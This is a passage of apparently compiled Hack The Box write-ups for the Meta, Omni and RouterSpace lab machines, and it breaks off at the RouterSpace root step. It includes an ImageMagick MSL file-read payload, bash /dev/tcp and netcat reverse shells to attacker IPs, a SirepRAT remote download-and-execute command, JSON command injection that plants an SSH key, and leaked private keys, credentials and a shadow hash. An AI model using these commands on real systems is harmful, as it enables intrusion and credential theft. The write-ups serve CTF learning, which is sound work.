  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
```

We copy our poc file into:

``` bash
cp poc.svg /var/www/dev01.artcorp.htb/convert_images/poc.svg
```

We wait for the cron job to run and grab the key then use it to SSH as thomas:

``` bash
bash-5.0$ pwd
pwd
/dev/shm
bash-5.0$ ls
ls
id_rsa
bash-5.0$ cat id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE=
-----END OPENSSH PRIVATE KEY-----
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/meta]
└─# chmod 600 id_rsa
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/meta]
└─# ssh thomas@artcorp.htb -i id_rsa
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 23 07:54:28 2022 from 10.10.14.8
-bash-5.0$ id
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)
-bash-5.0$ whoami
thomas
-bash-5.0$ cat user.txt 
997f481194ea9c17c5d4a015cfca3b7c
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2139.jpg)

#### Root own

We have a /etc/sudoers entry that allows us to run neofetch:

``` bash
-bash-5.0$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"
```

This is pretty easy to exploit, we search on GTFOBins neofetch exploits and we find this:

 - [gtfobins - neofetch](https://gtfobins.github.io/gtfobins/neofetch/)

We have an interesting entry regarding env_keep. We do have a neofetch config in our home dir but this isn’t touched.

``` bash
-bash-5.0$ pwd
/home/thomas/.config/neofetch
-bash-5.0$ ls
config.conf
```

We can edit this config to try set the LFILE environment variable but due to how this is setup in the cron entry, we can’t use it. I had a different idea. We can set our own config path to the one in ~/.config using:

``` bash
-bash-5.0$ export XDG_CONFIG_HOME="$HOME/.config"
```

We change our currrent neofetch config to include a reverse shell:

``` bash
-bash-5.0$ echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'" > /home/thomas/.config/neofetch/config.conf
-bash-5.0$ sudo /usr/bin/neofetch \"\"
```

We run neofetch as per the sudoer entry and catch the shell with netcat:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/meta]
└─# nc -lvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.140.
Ncat: Connection from 10.10.11.140:51960.
root@meta:/home/thomas/.config/neofetch# id
id
uid=0(root) gid=0(root) groups=0(root)
root@meta:/home/thomas/.config/neofetch# whoami
whoami
root
root@meta:/home/thomas/.config/neofetch# cd
cd
root@meta:~# cat root.txt
cat root.txt
67a535da514ea5d296eed29741c96d96
root@meta:~# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$C2RdQ0RpQ545cx/2$TMbXaoMwVs7XQVOwEwAnzcUVrIR5CdpVaM3Aoml8p9PWQWvxbrGrh/Y6d2.OuKlSHVsNVS0mJwSoGl.q8Pbug0:18996:0:99999:7:::
root@meta:~#
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2140.jpg)

#### Summary of knowledge

 - CVE-2021-22204 – Exiftool RCE
 - ImageMagick 7.0.1-0 / 6.9.3-9 - 'ImageTragick' Multiple Vulnerabilities to read ssh key
 - gtfobins - neofetch privesclation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end meta -->

</details>

<a id="case-omni"></a>

## Windows IoT 管理接口

SirepRAT 与 Device Portal 的执行身份不同，后续凭据和加密文本需要按上下文读取。原始 PowerShell 与环境变量处理完整留存。

<p class="kb-provenance">来源 omni · 原记录 2020-08-28 · 17 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-omni">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start omni -->

#### introduce

OS:	 Other
Difficulty: Easy
Points:	20
Release: 22 Aug 2020
IP:	10.10.10.204

User Blood snowscan 00 days, 01 hours, 21 mins, 02 seconds.
Root Blood snowscan 00 days, 02 hours, 01 mins, 30 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb79.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~# nmap -sV -p- -v --min-rate=10000 10.10.10.204
PORT      STATE SERVICE  VERSION
135/tcp   open  msrpc    Microsoft Windows RPC
5985/tcp  open  upnp     Microsoft IIS httpd
8080/tcp  open  upnp     Microsoft IIS httpd
29817/tcp open  unknown
29819/tcp open  arcserve ARCserve Discovery
29820/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.80%I=7%D=8/27%Time=5F4865C5%P=x86_64-pc-linux-gnu%r(N
SF:ULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"
SF:\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x0
SF:4G\xa9m\x1c\xc9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
```

access port 8080,it needs a Login ID:Password

from "Windows Device Portal" we know this Box is an IOT box,we can use help of SafeBreach-Lab's SirepRAT

SirepRAT has a functionality which lets us run Arbitrary Program. That means we could run cmd.exe and call in powershell and download a file via the Invoke-WebRequest cmdlet.

download [SirepRAT](https://github.com/SafeBreach-Labs/SirepRAT)

Download Windows [Netcat-Binary-64-bit](https://eternallybored.org/misc/netcat/)

Extract it and start SimpleHTTPServer on the same directory. 

``` bash
C:\Users\Administrator\Desktop\hack the box靶机渗透\doing\machine\Omni>python -m SimpleHTTPServer 82
Serving HTTP on 0.0.0.0 port 82 ...
10.10.14.15 - - [28/Aug/2020 10:58:17] "GET / HTTP/1.1" 200 -
10.10.14.15 - - [28/Aug/2020 10:58:17] code 404, message File not found
10.10.14.15 - - [28/Aug/2020 10:58:17] "GET /favicon.ico HTTP/1.1" 404 -
```

now run SirepRAT. Get inside SirepRAT directory and run

``` bash
D:\pentesttool\SirepRAT-master\SirepRAT-master>python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.15:82/nc64.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
```

we see successfully downloaded nc64.exe

``` bash
C:\Users\Administrator\Desktop\hack the box靶机渗透\doing\machine\Omni>python -m SimpleHTTPServer 82
Serving HTTP on 0.0.0.0 port 82 ...
10.10.14.15 - - [28/Aug/2020 10:58:17] "GET / HTTP/1.1" 200 -
10.10.14.15 - - [28/Aug/2020 10:58:17] code 404, message File not found
10.10.14.15 - - [28/Aug/2020 10:58:17] "GET /favicon.ico HTTP/1.1" 404 -
10.10.10.204 - - [28/Aug/2020 11:01:04] "GET /nc64.exe HTTP/1.1" 200 -
```

Now get Netcat listener ready.

``` bash
C:\Users\Administrator\Desktop\hack the box靶机渗透\doing\machine\Omni>nc64.exe -lvp 1234
listening on [any] 1234 ...
```

Now execute Netcat on the box. 

``` bash
D:\pentesttool\SirepRAT-master\SirepRAT-master>python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.15 1234 -e powershell.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
```

successfully excecute this script, if failed please try it multi times

and we get a shell back

``` bash
C:\Users\Administrator\Desktop\hack the box靶机渗透\doing\machine\Omni>nc64.exe -lvp 1234
listening on [any] 1234 ...
10.10.10.204: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.204] 49671: NO_DATA
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> pwd
pwd

Path
----
C:\windows\system32
```

an't use whoami, but we could use $env:UserName to know the Username. 

``` bash
PS C:\windows\system32> $env:UserName
$env:UserName
omni$
```

User Omni and it has no rights to read in user.txt neither root.txt. Thus we need to enumerate further. 

After further Enumeration we got in a directory. 

``` bash
PS C:\windows\system32> cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> ls -force
ls -force


    Directory: C:\Program Files\WindowsPowershell\Modules\PackageManagement


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/26/2018  11:37 PM                1.0.0.1
-a-h--        8/21/2020  12:56 PM            247 r.bat
```

This directory had a bat file. This bat file has credentials of two user: App and Administrator.

``` bash
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> cat r.bat
cat r.bat
@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT
```

the Webserver running on Port 8080. We could use our credentials there. 

jump into chrome. Login via

``` bash
app:mesh5143
```

Go to Processes > Run Command

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb80.jpg)

Here we could run commands. Lets try to get a reverse shell.
Start a Netcat listener on machine again on different port, and then run this command. 

``` bash
C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.15 3344 -e powershell.exe
```

The website will show "Failed to run the command" but you'd still get your shell. 

Let's look at our Username

``` bash
PS C:\windows\system32> $env:UserName
$env:UserName
app
```

We are App. 
We can now read user.txt but the contents inside looks to be encrypted. 
Lets use this function 

``` bash
PS C:\windows\system32> $credential = Import-CliXml -Path U:\Users\app\user.txt
$credential = Import-CliXml -Path U:\Users\app\user.txt
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70
```

and we got user.txt successfully

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb81.jpg)

we found two usernames in r.bat file,use the second one, the Administrator.

``` bash
administrator : _1nt3rn37ofTh1nGz
```

and repeat the above steps, get a administrator shell

change the port and spawn a shell

``` bash
C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.15 3345 -e powershell.exe
```
now we got root.txt, nice!

``` bash
PS C:\windows\system32> $credential = Import-CliXml -Path U:\Users\administrator\root.txt
$credential = Import-CliXml -Path U:\Users\administrator\root.txt
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb82.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb83.jpg)


#### Summary of knowledge

 - windows iot penetration use SirepRAT
 - spawn nc reverseshell
 - password disclosure
 - windows device portal command excecution
 - powershell command to read and decrypt

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end omni -->

</details>

<a id="case-routerspace"></a>

## APK 请求还原与 sudo 堆溢出

静态反编译与动态抓包分别定位实际 API，请求参数连接命令执行。后续保留 authorized_keys 落点和 CVE-2021-3156 环境。

<p class="kb-provenance">来源 routerspace · 原记录 2022-03-02 · 19 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-routerspace">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start routerspace -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	26 Feb 2022
IP:	10.10.11.148

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2164.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/routerspace]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.11.148
PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
80/tcp open  http
```

we don't find any thing interesting on port or main page...

but we find a place to download a apk

``` bash
wget http://routerspace.htb/RouterSpace.apk
```

#### way1 to solve apk (static)

The obvious route is to look at the apk provided to us by clicking download in the top right. We can decompile this into it’s respective source code and take a look around. We use apktool for this:

``` bash
apktool d RouterSpace.apk 
```

We can also use online decompilers:

``` bash
http://www.javadecompilers.com/apk
```

Looking into the certificate on the apk we see there’s a domain listed:

``` bash
APK is signed
v1 signature: True
v2 signature: True
v3 signature: False
Found 1 unique certificates
Subject: C=SL, ST=Colombo, L=Colombo, O=routerspace.htb, OU=routerspace, CN=routerspce
Signature Algorithm: rsassa_pkcs1v15
Valid From: 2021-11-18 13:15:21+00:00
Valid To: 2049-04-05 13:15:21+00:00
Issuer: C=SL, ST=Colombo, L=Colombo, O=routerspace.htb, OU=routerspace, CN=routerspce
Serial Number: 0x5a411405
Hash Algorithm: sha256
md5: 214a9b17352972333ddf5e4bbfe0e2ad
sha1: 23c88a23819858a82a402def82eb92ba188a909d
sha256: dac3cc454169abcec3707c5842e197c1f80968f0f701621588666e84131a9673
sha512: 82d9685f4219b492c10bcb3b1812afb8e6d589e653fc9df8f3e9e75a99cec037a10be188626a337c0e969dd86bbef63b371124d9fec53dcfabc0a62671cbafee
PublicKey Algorithm: rsa
Bit Size: 2048
Fingerprint: a68fda1a5a8ab411bc1483ff94d7c31c440190e917a283acb55725d32ed19148
```

Looking through the files, we see there’s a index.android.bundle file, we can extract this using npx or we can copy all of it’s contents over to

 - [Online JavaScript Beautifier](https://beautifier.io/)

After searching through all references to routers, we find:

``` bash
function _0x31d2() {
    var _0x379495 = ['EwCVL', 'ugPGw', 'Router is ', '-Bold', 'data', '30158095HXLvSs', 'post', 'eAgent', 'http://rou', '10BrHGoD', 'gray', '80%', 'applicatio', 'white', 'ck your in', 'ternet con', 'tb/api/v4/', 'Please pro', 'Image', 'XvhFJ', '2111347AIyazK', 'v/check/de', 'vide an IP', 'working fi', 'DKyDg', 'YnNsf', 'tzoEq', 'EKNxl', 'the server', 'log', 'ne!.', 'NunitoSans', 'OgZoU', 'TouchableO', '32457sfggQZ', 'nection.', '[ RESPOND ', 'center', 'createElem', '__esModule', 'per', 'mGNnc', 'then', 'catch', 'contain', 'uAiCt', 'bottom', '42740dmWhFN', 'Text', 'ButtonWrap', 'OLDvc', 'Sorry !', 'terspace.h', 'n/json', 'StyleSheet', '/router/de', 'darkgray', 'JHvFI', 'transparen', 'UWIVj', 'Please che', 'SZqEq', 'default', 'HrHYj', 'Hey !', 'monitoring', 'StatusBar', 'error', '1013605BwxVJG', '[ DEBUG ] ', 'defineProp', 'gUnlE', 'Unable to ', '25%', 'pacity', 'ButtonText', 'gKQYs', '1006000MsdmAT', 'handleSubm', 'PpdRl', 'shxxV', 'ent', 'View', 'erty', 'show', 'Formik', 'Check Stat', '0.0.0.0', '128BJBUSC', '6BAxhAU', '4584186MTHGwP', 'connet to ', 'vESlr', 'GHjuW', ' Address.', 'container', 'create', 'RouterSpac', 'viceAccess', '72dIvHGU', 'info'];
    _0x31d2 = function () {
        return _0x379495;
    };
    return _0x31d2();
}
```

Looking into it, we get the following string:

``` bash
http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
```

We still can’t access this due to the WAF however sending POST requests gives us a different output:

``` bash
curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent"
```

We get undefined, we can try send data and see what happens:

``` bash
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token r in JSON at position 0<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at createStrictSyntaxError (/opt/www/public/routerspace/node_modules/body-parser/lib/types/json.js:158:10)<br> &nbsp; &nbsp;at parse (/opt/www/public/routerspace/node_modules/body-parser/lib/types/json.js:83:15)<br> &nbsp; &nbsp;at /opt/www/public/routerspace/node_modules/body-parser/lib/read.js:121:18<br> &nbsp; &nbsp;at invokeCallback (/opt/www/public/routerspace/node_modules/raw-body/index.js:224:16)<br> &nbsp; &nbsp;at done (/opt/www/public/routerspace/node_modules/raw-body/index.js:213:7)<br> &nbsp; &nbsp;at IncomingMessage.onEnd (/opt/www/public/routerspace/node_modules/raw-body/index.js:273:7)<br> &nbsp; &nbsp;at IncomingMessage.emit (events.js:203:15)<br> &nbsp; &nbsp;at endReadableNT (_stream_readable.js:1145:12)<br> &nbsp; &nbsp;at process._tickCallback (internal/process/next_tick.js:63:19)</pre>
</body>
</html>
```

We can try different methods of RCE:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/routerspace]
└─# curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent" -d '{"ip":"127.0.0.1; whoami"}'
"127.0.0.1\npaul\n"
```

We find that we’re already the user and can grab our flag:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/routerspace]
└─# curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent" -d '{"ip":"127.0.0.1; cat /home/paul/user.txt"}'
"127.0.0.1\n0d729d90407e80b1ea452738901b01db\n"
```

If we want a shell, we can generate an ssh key pair and add it to /home/paul/.ssh/authorized_keys:

``` bash
curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent" -d '{"ip":"127.0.0.1; echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDu7aGOBi/YxmmQyU2tlLE9SyykK3nD1e2xad0dLeu3jqOf0x5MGJrg1pjll/llxJl+Xuj01MVtMeV35ggrFatTx/+feDngc81Ml6CxhOcKhrNDdJCFlG1hjMjEw+ouvb04S/RKWQivhogu54aGH6HK6gsqYqL1ZvmANADlCqHtvNnFyshxHZbNJn6EQakPApeLF3n+JZU1P7szzHOc6a/y8W8k4FHqPqjPz6XsjQ3bNa052g3J6eMhV/467njx86tCES47hOFb0UdOLg29DG3u7WFG+zaDDDXudgGMSMUwaz8EWwjxY3rlQl649veu4SMIrc9GIaQChwjr4XeSaY5e0X1EDP2kUq9R9TkJCYM1qp9+iNw9e7q4Qfejeb+6mEuSPBf1G5P5UqWUWUf3KJjPeiXcgfYJoiLzZlC1Ui5r6si5D/LTOLp97xLronrnBIGs8Elr26Qv39S4Kb6llI4LsvApZNKlKb/4N6dcb/nyVawfpsMksEqBy9aM1M8/gh8= root@kali > /home/paul/.ssh/authorized_keys"}'
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/routerspace]
└─# ssh -i id_rsa paul@routerspace.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 02 Mar 2022 12:18:08 PM UTC

  System load:           0.0
  Usage of /:            70.8% of 3.49GB
  Memory usage:          29%
  Swap usage:            0%
  Processes:             215
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.148
  IPv6 address for eth0: dead:beef::250:56ff:feb9:4218


80 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Mar  2 07:28:02 2022 from 10.10.14.10
paul@routerspace:~$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
paul@routerspace:~$ whoami
paul
paul@routerspace:~$ cat user.txt 
0d729d90407e80b1ea452738901b01db
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2165.jpg)

#### way2 to solve apk (dynamic)

just install an Android emulator, and install the apk

and install burp cert in the Android emulator

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2166.jpg)

and set burp intercepter ip addr

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2167.jpg)

Configure the wifi proxy

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2168.jpg)

and click "check status" button, we get the request data

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2169.jpg)

``` bash
POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 16
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0"}
```

and we can get RCE as way1 dose, and write ssh authorized_keys

#### Root own

We move onto root, we can’t connect back to ourselves however we’re fine to base64 encode tools like linpeas and decode them onto our machine. Nothing immediately stood out so I went back to manually enumerating. After a while, I found that the sudo binary was out dated:

or you can use [linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)

``` bash
paul@routerspace:/tmp$ ./les.sh

Available information:

Kernel version: 5.4.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 20.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

78 kernel space exploits
49 user space exploits

Possible Exploits:

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
```

``` bash
paul@routerspace:/tmp$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
```

Googling this gives us a github page with a public exploit:

 - [CVE-2021-3156](https://github.com/CptGibbon/CVE-2021-3156)

We can test this prior to exploiting using:

``` bash
paul@routerspace:/tmp$ sudoedit -s Y
[sudo] password for paul:
```

We are prompted for a password, rather than given the usage information which suggests that we can exploit this. We transfer the source code over to the box then run the make command. You should get a binary called exploit, we simply run this using ./exploit:

``` bash
